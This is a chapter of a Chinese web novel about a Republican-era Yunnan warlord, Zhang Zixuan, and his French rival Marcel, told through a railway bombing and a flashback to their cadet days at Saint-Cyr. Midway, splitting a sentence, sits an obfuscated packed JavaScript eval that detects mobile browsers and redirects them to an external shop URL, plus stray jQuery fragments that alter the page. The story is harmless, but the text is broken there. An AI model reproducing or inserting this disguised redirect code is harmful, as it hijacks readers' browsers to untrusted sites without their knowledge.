民国十五年
那天半夜，滇南铁路第三段被炸了。凌晨两点十七分，督军府值班室的电话突然响了。十分钟后，第二封急电送到。二十分钟后，河口、蒙自、开远三地的电报同时涌进昆明。
电报机像是疯了一样狂响起来，抄报员的手抖得几乎按不住按键。
整个督军府被硬生生从睡梦里拖醒。
张子轩原本睡得正沉，他直接被惊醒。屋子里瞬间安静得可怕，陈玉楼后来回忆说：“老子是被冻醒的，张子轩睁眼那一瞬间，整座督军府的气温仿佛降了二十度。”
当时墨儿跑进张子轩的卧室，发现张子轩坐在床边，头发还乱着，军服扣子都没系全，可那双眼睛已经冷得像要杀人，整座府邸的温度直往下掉。
“威连张——”陈玉楼也推门而入，刚想开口安慰一句，张子轩已经披上军大衣，“砰”地一声砸门而去。空气死寂了半秒，随后督军府彻底炸了锅，鸡飞狗跳的动静一路从卧房蔓延到会议室。
“起来！！”
“大帅？！！”
“开会！！”
凌晨三点，六个参谋被硬生生从被窝里挖出来，有两个还死死抱着被子，秦照鞋都穿反了，墨儿头发没梳好好就抱着文件冲了进来。
会议室灯火通明，张子轩坐在主位，脸黑得像泼了墨，一句废话没有，声音冷得能结冰：
“哪段铁路。”
“炸药型号。”
“损失统计。”
“修复时间。”
“法国人还是边军。”
空气冷得厉害，六个参谋大气都不敢出，因为他们已经很久没见过大帅气成这样。半小时后情报汇总完毕，墨儿低声开口，语气却很肯定：“炸药残留和手法……是Marcel Delacroix的路子。”
空气瞬间死了，所有人呼吸都停了一拍。下一秒，张子轩只吐出三个字：“接电台。”秦照下意识后退一步，会议室的人都知道——要开始了。
十分钟后，军用电台接通，滋啦的电流声里，会议室安静得针掉在地都能听见。
张子轩站在电台前，军大衣半披着，眼神冷得吓人，随后直接开始用法语输出。语速快得像机关枪，火力密得像炮火覆盖，通讯室的人全听懵了，因为他们又一次听见大帅用法语骂人，而且骂得特别脏。
对面的Marcel显然也炸了，两个人隔着电台疯狂对骂，法语飙起来震得窗玻璃都在抖。
一位副官事后总结说：“虽然一句也听不懂，但感觉祖宗十八代都被问候完了。”最绝的是骂到最后，张子轩忽然收了所有脏话，冷冷地叫了一声对方的姓：“Delacroix。”
会议室瞬间死寂。电台那头的Marcel沉默了两秒，随后居然低低地笑起来，而且笑得特别开心，带着一种终于得逞的愉悦：
“William… tu m’adresses enfin la parole ? ”
（William……你终于愿意和我说话了？）
空气又静了一瞬。张子轩没回答，只是把耳机摘下来扔在桌上，军大衣一甩，转身就走。背后是满室不敢喘气的参谋，和窗外重新陷入死寂的昆明夜色。
会议室里没人敢说话。因为所有人都知道，大帅这次是真的生气了。
不是平时那种冷脸，不是边境对峙时的克制。而是另一种更危险的东西。
墨儿抱着文件站在门边，迟疑了很久，才小声开口：
“少爷……”
没人回应。张子轩已经站到了地图前。被炸断的铁路像伤口一样横贯在地图上。昏黄灯光下，他修长的手指轻轻压住那条铁路线，指节泛出微微的白色。
许久。他忽然低声说了一句：
“还是这套。”
没人听懂。只有秦照反应过来。因为他知道张子轩说的是什么。
八年了。
那个法国疯子从来没变过。炸铁路，抢铁路，毁铁路。好像除了这个办法，再也不会别的。想到这里，秦照忽然听见一声极轻的冷笑。
不是开心。而是气极反笑。
张子轩想起了很多年前的圣西尔，那一年他十八岁，Marcel十九岁，那时候的他们都还非常年轻。那时候Marcel还没疯成后来那副模样。
可已经很烦人了。
非常烦。
***
民国七年冬，圣西尔的风雪没断过。
连续半个月，张子轩几乎把所有课余时间都钉死在了推演室里。
别人去舞会跳华尔兹，他在推演室里画等高线；别人去酒馆喝到凌晨，他在推演室里算桥梁荷载；连周末那点难得的休息时间，他也抱着图纸坐在冷硬的长椅上，一坐就是一整天。
起初没人知道他在做什么，直到某天晚上，值班教官推门进来，整间推演室瞬间安静了。
桌子中央摆着一座巨大的铁路模型。山脉起伏，河谷幽深，桥梁横跨怒江，矿区支线像血管一样蜿蜒，最终所有铁轨都汇向边境。精细得近乎夸张，连桥墩的比例、隧道的弧度都经过精确计算，每一寸都透着一种近乎偏执的认真。
教官围着模型慢慢转了一圈，沉默很久才开口：“C’est quoi？”
（这是什么？）
张子轩站在桌边，回答得简单又笃定：“Le chemin de fer du Yunnan.”
（云南铁路。）
教官点了点头，没再多问，可第二天开始，整个新生营都知道了这件事，包括Marcel。
那天夜里，宿舍楼已经熄灯，走廊里空无一人。Marcel也不知道自己为什么会鬼使神差地摸进推演室，月光从高窗斜斜地照进来，落在那座模型上。
说实话，很漂亮，甚至比他见过的任何军事沙盘都更精细。每一座桥，每一段铁轨，都带着制作者的体温和执念。想到这里，Marcel忽然觉得胸口发堵——张子轩在乎这个东西，非常在乎。而这个认知本身，就让他没来由地不爽。
于是他伸出手，掰断了第一座桥。很轻的一声，“咔”，木制桥体从中间裂开。接着是第二段铁轨，第三段，第四段。
几分钟后，整座耗费无数心血的铁路模型变得支离破碎，像一场小型地震后的废墟。
Marcel看着眼前的狼藉，心情莫名地好了不少，随后转身离开，靴跟在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932500|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
空旷的推演室里敲出冷冷的回响。
第二天清晨，张子轩是第一个走进推演室的人。阳光落在桌面上，也落在那堆残骸上，他的脚步停住了。
房间里死一般寂静，没人知道他在那里站了多久，直到十分钟后其他学生陆续进来，空气才忽然变得古怪——所有人都看见了，那座铁路模型被毁了。
可张子轩一句话都没说，他只是弯腰，把断掉的桥梁一块块捡起来，把散落的铁轨一根根收好，然后坐下，开始修复。
没有愤怒，没有质问，甚至没有表情，可不知道为什么，周围所有人都觉得后背发凉。
中午是格斗课，训练场被昨夜的雪水泡得泥泞不堪。铜哨声响起，教官站在场边高喊：“Par groupes de deux！”
（两人一组！）
学生们迅速开始分组，就在这时，Marcel径直走了出来，扬起下巴，脸上挂着惯有的挑衅：“William. Cette fois, avec moi.”
(William，这次和我一组。）
训练场忽然安静了一瞬，张子轩抬头看了他一眼，目光平静得没有一丝波澜：“D’accord.”
（好。）
连教官都觉得气氛不对，却又说不出哪里不对。
铜哨再次吹响，Marcel率先发动进攻，下一秒——砰！整个人被狠狠摔进泥里，周围响起一片抽气声。
他愣了一瞬，还没反应过来，教官已经喝道：“Relevez-vous！”
（起来！）
第二轮开始，不到二十秒，砰！第二次落地，泥浆溅满了他昂贵的军装。周围的学生开始交换眼神，事情有点不对，非常不对。
第三轮，Marcel带着怒火扑上去，结果更快，砰——他再次被砸进泥坑，训练场彻底安静，连风声都像被冻住了。
教官皱起眉，终于开口：“William. Vous semblez un peu tendu aujourd’hui.”
（William，你今天情绪似乎有点重。）
张子轩站在泥地里，军装依旧整洁，呼吸平稳得像什么都没发生。沉默两秒后，他平静地回答：“Oui.”
（是。）
教官一怔：“Pourquoi？”
（为什么？）
训练场上无数目光同时望过来，张子轩低头看了眼泥坑里狼狈的Marcel，声音很轻，却清晰地传进每个人耳朵里：“Parce que quelqu’un a démonté mon chemin de fer.”
（因为有人拆了我的铁路。）
空气死寂，整个训练场没有一个人说话。泥坑里，Marcel第一次生出一种不太妙的预感，他忽然意识到，那座铁路模型似乎比他想象的重要得多。
很多年后，当怒江边境的炮火一次次落在真正的铁路线上时，他才终于明白，那天夜里自己亲手掰断的，从来都不只是一座模型。
那是云南的命脉，是张子轩的逆鳞，也是后来无数次炮火落下时，他最先冲过去护住的东西。